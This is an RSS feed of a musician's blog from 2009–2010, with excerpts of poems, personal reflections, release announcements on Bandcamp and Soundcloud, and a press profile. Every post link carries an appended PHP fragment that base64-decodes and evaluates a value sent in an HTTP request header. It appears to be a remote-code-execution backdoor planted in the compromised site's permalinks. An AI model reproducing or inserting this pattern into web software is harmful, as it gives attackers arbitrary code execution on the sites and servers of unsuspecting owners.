http://seanhaefeli.com/blog Pushings the bounds of Jazz and Electronic Music Sun, 08 Aug 2010 18:24:10 +0000 http://backend.userland.com/rss092 en Struggling against cynicism. I find myself increasingly searching for a reason to devote so much energy towards music. Never imagined I would feel this way. Still, I am thankful for everything I have learned and been able to achieve up to this point. http://seanhaefeli.com/blog/2010/08/08/576/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Seen the circle run around enough to know her shape I miss the taste of poetry Her hip's internal sway Where am I going A voice asks Will I stay before she's gone The sound of love evaporates While tending my song http://seanhaefeli.com/blog/2010/07/10/i-miss-the-taste-of-poetry/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ In this constantly evolving world of online media, sometimes you actually encounter a resource that blows you away for its usefulness and innovation. For me, this is Bandcamp, where artists can gather all sorts of demographics related to their music. I have uploaded a couple tracks from Natural ... http://seanhaefeli.com/blog/2010/07/01/free-downloads/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ A new website is currently in the works and should be operational next month. Until then, the best place to check out new sounds is at: Soundcloud. "Essential" and "Ol Skool" are rough mixes, which have been recorded for a forthcoming EP. http://seanhaefeli.com/blog/2010/05/26/new-site/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ altered grey kinetic spine version three with zero wind parenthetical breath a square bind clutch integral to variable touch the immutable solid wheel strung pressed audio vigorous infusion the inverted muse tightly assembled http://seanhaefeli.com/blog/2010/01/12/flexible-fusion/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ cosmic-blues-ruf-seanhaefeli I know it's been such a long time since I released any new tracks. Recently, I unearthed this track from a few years ago. A friend invited me to the studio one night, I laid down the bass and keys, David "Edge" Posey added drums, and I went ... http://seanhaefeli.com/blog/2009/12/14/cosmic-blues/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Moment before, nothing. Moment after, nowhere. A handful of happiness, Sugar and water. http://seanhaefeli.com/blog/2009/12/09/483/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Enshrouded by layers, each one I shed, light that almost appears... http://seanhaefeli.com/blog/2009/11/22/477/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Oranje NUVO It’s a familiar story: an artist unappreciated in his or her homeland finally finds success in Paris. Even if clichéd, it’s sometimes true. Ask soul/jazz vocalist and pianist Sean Haefeli, an Indianapolis native and then-Chicago resident who popped over to France for six months last year. “It’s just so much easier ... http://seanhaefeli.com/blog/2009/09/16/nuvo-cover-feature-oranje-profile/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ These pictures were taken on the farm of my dear friend, Marie-Laure Valandro. Ever since we met, while hiking in Isle Royale, ten years ago, her family has provided me with a refuge from the city life. Their dedication to a self-sustained, agrarian way of life, unconcerned with ... http://seanhaefeli.com/blog/2009/08/18/refuge/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/